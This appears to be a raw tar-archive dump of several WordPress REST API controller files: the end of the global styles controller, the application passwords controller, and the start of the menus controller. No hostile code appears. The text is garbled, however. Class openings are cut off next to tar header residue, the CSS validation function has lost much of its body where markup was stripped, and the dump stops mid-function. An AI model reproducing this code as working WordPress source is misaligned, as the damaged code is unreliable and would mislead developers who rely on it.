rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); add_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); $data['title']['rendered'] = get_the_title( $post->ID ); remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); } if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = ! empty( $config['settings'] ) && $is_global_styles_user_theme_json ? $config['settings'] : new stdClass(); } if ( rest_is_field_included( 'styles', $fields ) ) { $data['styles'] = ! empty( $config['styles'] ) && $is_global_styles_user_theme_json ? $config['styles'] : new stdClass(); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $post->ID ); // Only return resolved URIs for get requests to user theme JSON. if ( $theme_json ) { $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json ); if ( ! empty( $resolved_theme_uris ) ) { $links['https://api.w.org/theme-file'] = $resolved_theme_uris; } } $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions( $post, $request ); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } } return $response; } /** * Prepares links for the request. * * @since 5.9.0 * @since 6.3.0 Adds revisions count and rest URL href to version-history. * * @param integer $id ID. * @return array Links for the given post. */ protected function prepare_links( $id ) { $base = sprintf( '%s/%s', $this->namespace, $this->rest_base ); $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $id ), ), 'about' => array( 'href' => rest_url( 'wp/v2/types/' . $this->post_type ), ), ); if ( post_type_supports( $this->post_type, 'revisions' ) ) { $revisions = wp_get_latest_revision_id_and_total_count( $id ); $revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0; $revisions_base = sprintf( '/%s/%d/revisions', $base, $id ); $links['version-history'] = array( 'href' => rest_url( $revisions_base ), 'count' => $revisions_count, ); } return $links; } /** * Get the link relations available for the post and current user. * * @since 5.9.0 * @since 6.2.0 Added 'edit-css' action. * @since 6.6.0 Added $post and $request parameters. * * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. * @return array List of link relations. */ protected function get_available_actions( $post, $request ) { $rels = array(); $post_type = get_post_type_object( $post->post_type ); if ( current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } if ( current_user_can( 'edit_css' ) ) { $rels[] = 'https://api.w.org/action-edit-css'; } return $rels; } /** * Retrieves the query params for the global styles collection. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { return array(); } /** * Retrieves the global styles type' schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of global styles config.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'styles' => array( 'description' => __( 'Global styles.' ), 'type' => array( 'object' ), 'context' => array( 'view', 'edit' ), ), 'settings' => array( 'description' => __( 'Global settings.' ), 'type' => array( 'object' ), 'context' => array( 'view', 'edit' ), ), 'title' => array( 'description' => __( 'Title of the global styles variation.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the global styles variation, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML title for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Checks if a given request has access to read a single theme global styles config. * * @since 5.9.0 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_theme_item_permissions_check( $request ) { /* * Verify if the current user has edit_posts capability. * This capability is required to view global styles. */ if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } /* * Verify if the current user has edit_theme_options capability. */ if ( current_user_can( 'edit_theme_options' ) ) { return true; } return new WP_Error( 'rest_cannot_read_global_styles', __( 'Sorry, you are not allowed to access the global styles on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } /** * Returns the given theme global styles config. * * @since 5.9.0 * @since 6.6.0 Added custom relative theme file URIs to `_links`. * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_theme_item( $request ) { if ( get_stylesheet() !== $request['stylesheet'] ) { // This endpoint only supports the active theme for now. return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $theme = WP_Theme_JSON_Resolver::get_merged_data( 'theme' ); $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = $theme->get_settings(); } if ( rest_is_field_included( 'styles', $fields ) ) { $raw_data = $theme->get_raw_data(); $data['styles'] = $raw_data['styles'] ?? array(); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/themes/%s', $this->namespace, $this->rest_base, $request['stylesheet'] ) ), ), ); $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme ); if ( ! empty( $resolved_theme_uris ) ) { $links['https://api.w.org/theme-file'] = $resolved_theme_uris; } $response->add_links( $links ); } return $response; } /** * Checks if a given request has access to read a single theme global styles config. * * @since 6.0.0 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_theme_items_permissions_check( $request ) { return $this->get_theme_item_permissions_check( $request ); } /** * Returns the given theme global styles variations. * * @since 6.0.0 * @since 6.2.0 Returns parent theme variations, if they exist. * @since 6.6.0 Added custom relative theme file URIs to `_links` for each item. * * @param WP_REST_Request $request The request instance. * * @return WP_REST_Response|WP_Error */ public function get_theme_items( $request ) { if ( get_stylesheet() !== $request['stylesheet'] ) { // This endpoint only supports the active theme for now. return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $response = array(); // Register theme-defined variations e.g. from block style variation partials under `/styles`. $partials = WP_Theme_JSON_Resolver::get_style_variations( 'block' ); wp_register_block_style_variations_from_theme_json_partials( $partials ); $variations = WP_Theme_JSON_Resolver::get_style_variations(); foreach ( $variations as $variation ) { $variation_theme_json = new WP_Theme_JSON( $variation ); $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $variation_theme_json ); $data = rest_ensure_response( $variation ); if ( ! empty( $resolved_theme_uris ) ) { $data->add_links( array( 'https://api.w.org/theme-file' => $resolved_theme_uris, ) ); } $response[] = $this->prepare_response_for_collection( $data ); } return rest_ensure_response( $response ); } /** * Validate style.css as valid CSS. * * Currently just checks that CSS will not break an HTML STYLE tag. * * @since 6.2.0 * @since 6.4.0 Changed method visibility to protected. * @since 7.0.0 Only restricts contents which risk prematurely closing the STYLE element, * either through a STYLE end tag or a prefix of one which might become a * full end tag when combined with the contents of other styles. * @since 7.1.0 Rejects non-string values with a WP_Error instead of a fatal error. * * @see WP_Customize_Custom_CSS_Setting::validate() * * @param mixed $css CSS to validate. * @return true|WP_Error True if the input was validated, otherwise WP_Error. */ protected function validate_custom_css( $css ) { if ( ! is_string( $css ) ) { return new WP_Error( 'rest_custom_css_invalid_type', __( 'CSS must be a string.' ), array( 'status' => 400 ) ); } $length = strlen( $css ); for ( $at = strcspn( $css, '<' ); $at < $length; $at += strcspn( $css, '<', ++$at ) ) { $remaining_strlen = $length - $at; /** * Custom CSS text is expected to render inside an HTML STYLE element. * A STYLE closing tag must not appear within the CSS text because it * would close the element prematurely. * * The text must also *not* end with a partial closing tag (e.g., `<`, * `` tag. * * Example: * * $style_a = 'p { font-weight: bold; 400 ) ); } if ( 1 === strspn( $css, " \t\f\r\n/>", $at + 7, 1 ) ) { return new WP_Error( 'rest_custom_css_illegal_markup', sprintf( /* translators: %s is the CSS that was provided. */ __( 'The CSS must not contain "%s".' ), esc_html( substr( $css, $at, 8 ) ) ), array( 'status' => 400 ) ); } } } return true; } } class-wp-rest-application-passwords-controller.php000064400000057376152506367270016525 0ustar00namespace = 'wp/v2'; $this->rest_base = 'users/(?P(?:[\d]+|me))/application-passwords'; } /** * Registers the REST API routes for the application passwords controller. * * @since 5.6.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema(), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_items' ), 'permission_callback' => array( $this, 'delete_items_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/introspect', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_current_item' ), 'permission_callback' => array( $this, 'get_current_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w\-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'list_app_passwords', $user->ID ) ) { return new WP_Error( 'rest_cannot_list_application_passwords', __( 'Sorry, you are not allowed to list application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a collection of application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID ); $response = array(); foreach ( $passwords as $password ) { $response[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $password, $request ) ); } return new WP_REST_Response( $response ); } /** * Checks if a given request has access to get a specific application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'read_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_read_application_password', __( 'Sorry, you are not allowed to read this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves one application password from the collection. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $password = $this->get_application_password( $request ); if ( is_wp_error( $password ) ) { return $password; } return $this->prepare_item_for_response( $password, $request ); } /** * Checks if a given request has access to create application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'create_app_password', $user->ID ) ) { return new WP_Error( 'rest_cannot_create_application_passwords', __( 'Sorry, you are not allowed to create application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates an application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $prepared = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared ) ) { return $prepared; } $created = WP_Application_Passwords::create_new_application_password( $user->ID, wp_slash( (array) $prepared ) ); if ( is_wp_error( $created ) ) { return $created; } $password = $created[0]; $item = WP_Application_Passwords::get_user_application_password( $user->ID, $created[1]['uuid'] ); $item['new_password'] = WP_Application_Passwords::chunk_password( $password ); $fields_update = $this->update_additional_fields_for_object( $item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } /** * Fires after a single application password is completely created or updated via the REST API. * * @since 5.6.0 * * @param array $item Inserted or updated password item. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating an application password, false when updating. */ do_action( 'rest_after_insert_application_password', $item, $request, true ); $request->set_param( 'context', 'edit' ); $response = $this->prepare_item_for_response( $item, $request ); $response->set_status( 201 ); $response->header( 'Location', $response->get_links()['self'][0]['href'] ); return $response; } /** * Checks if a given request has access to update application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'edit_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_edit_application_password', __( 'Sorry, you are not allowed to edit this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates an application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $item = $this->get_application_password( $request ); if ( is_wp_error( $item ) ) { return $item; } $prepared = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared ) ) { return $prepared; } $saved = WP_Application_Passwords::update_application_password( $user->ID, $item['uuid'], wp_slash( (array) $prepared ) ); if ( is_wp_error( $saved ) ) { return $saved; } $fields_update = $this->update_additional_fields_for_object( $item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $item = WP_Application_Passwords::get_user_application_password( $user->ID, $item['uuid'] ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php */ do_action( 'rest_after_insert_application_password', $item, $request, false ); $request->set_param( 'context', 'edit' ); return $this->prepare_item_for_response( $item, $request ); } /** * Checks if a given request has access to delete all application passwords for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_items_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_app_passwords', $user->ID ) ) { return new WP_Error( 'rest_cannot_delete_application_passwords', __( 'Sorry, you are not allowed to delete application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes all application passwords for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_items( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $deleted = WP_Application_Passwords::delete_all_application_passwords( $user->ID ); if ( is_wp_error( $deleted ) ) { return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'count' => $deleted, ) ); } /** * Checks if a given request has access to delete a specific application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_delete_application_password', __( 'Sorry, you are not allowed to delete this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes an application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $password = $this->get_application_password( $request ); if ( is_wp_error( $password ) ) { return $password; } $request->set_param( 'context', 'edit' ); $previous = $this->prepare_item_for_response( $password, $request ); $deleted = WP_Application_Passwords::delete_application_password( $user->ID, $password['uuid'] ); if ( is_wp_error( $deleted ) ) { return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } /** * Checks if a given request has access to get the currently used application password for a user. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_current_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( get_current_user_id() !== $user->ID ) { return new WP_Error( 'rest_cannot_introspect_app_password_for_non_authenticated_user', __( 'The authenticated application password can only be introspected for the current user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves the application password being currently used for authentication of a user. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_current_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $uuid = rest_get_authenticated_app_password(); if ( ! $uuid ) { return new WP_Error( 'rest_no_authenticated_app_password', __( 'Cannot introspect application password.' ), array( 'status' => 404 ) ); } $password = WP_Application_Passwords::get_user_application_password( $user->ID, $uuid ); if ( ! $password ) { return new WP_Error( 'rest_application_password_not_found', __( 'Application password not found.' ), array( 'status' => 500 ) ); } return $this->prepare_item_for_response( $password, $request ); } /** * Performs a permissions check for the request. * * @since 5.6.0 * @deprecated 5.7.0 Use `edit_user` directly or one of the specific meta capabilities introduced in 5.7.0. * * @param WP_REST_Request $request * @return true|WP_Error */ protected function do_permissions_check( $request ) { _deprecated_function( __METHOD__, '5.7.0' ); $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'edit_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_manage_application_passwords', __( 'Sorry, you are not allowed to manage application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares an application password for a create or update operation. * * @since 5.6.0 * * @param WP_REST_Request $request Request object. * @return object|WP_Error The prepared item, or WP_Error object on failure. */ protected function prepare_item_for_database( $request ) { $prepared = (object) array( 'name' => $request['name'], ); if ( $request['app_id'] && ! $request['uuid'] ) { $prepared->app_id = $request['app_id']; } /** * Filters an application password before it is inserted via the REST API. * * @since 5.6.0 * * @param stdClass $prepared An object representing a single application password prepared for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_application_password', $prepared, $request ); } /** * Prepares the application password for the REST response. * * @since 5.6.0 * * @param array $item WordPress representation of the item. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $fields = $this->get_fields_for_response( $request ); $prepared = array( 'uuid' => $item['uuid'], 'app_id' => empty( $item['app_id'] ) ? '' : $item['app_id'], 'name' => $item['name'], 'created' => gmdate( 'Y-m-d\TH:i:s', $item['created'] ), 'last_used' => $item['last_used'] ? gmdate( 'Y-m-d\TH:i:s', $item['last_used'] ) : null, 'last_ip' => $item['last_ip'] ? $item['last_ip'] : null, ); if ( isset( $item['new_password'] ) ) { $prepared['password'] = $item['new_password']; } $prepared = $this->add_additional_fields_to_object( $prepared, $request ); $prepared = $this->filter_response_by_context( $prepared, $request['context'] ); $response = new WP_REST_Response( $prepared ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $user, $item ) ); } /** * Filters the REST API response for an application password. * * @since 5.6.0 * * @param WP_REST_Response $response The response object. * @param array $item The application password array. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_application_password', $response, $item, $request ); } /** * Prepares links for the request. * * @since 5.6.0 * * @param WP_User $user The requested user. * @param array $item The application password. * @return array The list of links. */ protected function prepare_links( WP_User $user, $item ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/users/%d/application-passwords/%s', $this->namespace, $user->ID, $item['uuid'] ) ), ), ); } /** * Gets the requested user. * * @since 5.6.0 * * @param WP_REST_Request $request The request object. * @return WP_User|WP_Error The WordPress user associated with the request, or a WP_Error if none found. */ protected function get_user( $request ) { if ( ! wp_is_application_passwords_available() ) { return new WP_Error( 'application_passwords_disabled', __( 'Application passwords are not available.' ), array( 'status' => 501 ) ); } $error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) ); $id = $request['user_id']; if ( 'me' === $id ) { if ( ! is_user_logged_in() ) { return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) ); } $user = wp_get_current_user(); } else { $id = (int) $id; if ( $id <= 0 ) { return $error; } $user = get_userdata( $id ); } if ( empty( $user ) || ! $user->exists() ) { return $error; } if ( is_multisite() && ! user_can( $user->ID, 'manage_sites' ) && ! is_user_member_of_blog( $user->ID ) ) { return $error; } if ( ! wp_is_application_passwords_available_for_user( $user ) ) { return new WP_Error( 'application_passwords_disabled_for_user', __( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ), array( 'status' => 501 ) ); } return $user; } /** * Gets the requested application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request The request object. * @return array|WP_Error The application password details if found, a WP_Error otherwise. */ protected function get_application_password( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $password = WP_Application_Passwords::get_user_application_password( $user->ID, $request['uuid'] ); if ( ! $password ) { return new WP_Error( 'rest_application_password_not_found', __( 'Application password not found.' ), array( 'status' => 404 ) ); } return $password; } /** * Retrieves the query params for the collections. * * @since 5.6.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } /** * Retrieves the application password's schema, conforming to JSON Schema. * * @since 5.6.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'application-password', 'type' => 'object', 'properties' => array( 'uuid' => array( 'description' => __( 'The unique identifier for the application password.' ), 'type' => 'string', 'format' => 'uuid', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'app_id' => array( 'description' => __( 'A UUID provided by the application to uniquely identify it. It is recommended to use an UUID v5 with the URL or DNS namespace.' ), 'type' => 'string', 'oneOf' => array( array( 'type' => 'string', 'format' => 'uuid', ), array( 'type' => 'string', 'enum' => array( '' ), ), ), 'context' => array( 'view', 'edit', 'embed' ), ), 'name' => array( 'description' => __( 'The name of the application password.' ), 'type' => 'string', 'required' => true, 'context' => array( 'view', 'edit', 'embed' ), 'minLength' => 1, 'pattern' => '.*\S.*', ), 'password' => array( 'description' => __( 'The generated password. Only available after adding an application.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'created' => array( 'description' => __( 'The GMT date the application password was created.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'last_used' => array( 'description' => __( 'The GMT date the application password was last used.' ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'last_ip' => array( 'description' => __( 'The IP address the application password was last used by.' ), 'type' => array( 'string', 'null' ), 'format' => 'ip', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-menus-controller.php000064400000041276152506367270013316 0ustar00check_has_read_only_access( $request ); } /** * Checks if a request has access to read or edit the specified menu. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { $has_permission = parent::get_item_permissions_check( $request ); if ( true !== $has_permission ) { return $has_permission; } return $this->check_has_read_only_access( $request ); } /** * Gets the term, if the ID is valid. * * @since 5.9.0 * * @param int $id Supplied ID. * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise. */ protected function get_term( $id ) { $term = parent::get_term( $id ); if ( is_wp_error( $term ) ) { return $term; } $nav_term = wp_get_nav_menu_object( $term ); $nav_term->auto_add = $this->get_menu_auto_add( $nav_term->term_id ); return $nav_term; } /** * Checks whether the current user has read permission for the endpoint. * * This allows for any user that can `edit_theme_options` or edit any REST API available post type. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the current user has permission, WP_Error object otherwise. */ protected function check_has_read_only_access( $request ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ $read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this ); if ( $read_only_access ) { return true; } if ( current_user_can( 'edit_theme_options' ) ) { return true; } if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menus.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Prepares a single term output for response. * * @since 5.9.0 * * @param WP_Term $term Term object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $term, $request ) { $nav_menu = wp_get_nav_menu_object( $term ); $response = parent::prepare_item_for_response( $nav_menu, $request ); $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( rest_is_field_included( 'locations', $fields ) ) { $data['locations'] = $this->get_menu_locations( $nav_menu->term_id ); } if ( rest_is_field_included( 'auto_add', $fields ) ) { $data['auto_add'] = $this->get_menu_auto_add( $nav_menu->term_id ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $term ) ); } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $term, $request ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param WP_Term $term Term object. * @return array Links for the given term. */ protected function prepare_links( $term ) { $links = parent::prepare_links( $term ); $locations = $this->get_menu_locations( $term->term_id ); foreach ( $locations as $location ) { $url = rest_url( sprintf( 'wp/v2/menu-locations/%s', $location ) ); $links['https://api.w.org/menu-location'][] = array( 'href' => $url, 'embeddable' => true, ); } return $links; } /** * Prepares a single term for create or update. * * @since 5.9.0 * * @param WP_REST_Request $request Request object. * @return object Prepared term data. */ public function prepare_item_for_database( $request ) { $prepared_term = parent::prepare_item_for_database( $request ); $schema = $this->get_item_schema(); if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_term->{'menu-name'} = $request['name']; } return $prepared_term; } /** * Creates a single term in a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = wp_get_nav_menu_object( (int) $request['parent'] ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); $term = wp_update_nav_menu_object( 0, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $term ) ) { /* * If we're going to inform the client that the term already exists, * give them the identifier for future use. */ if ( in_array( 'menu_exists', $term->get_error_codes(), true ) ) { $existing_term = get_term_by( 'name', $prepared_term->{'menu-name'}, $this->taxonomy ); 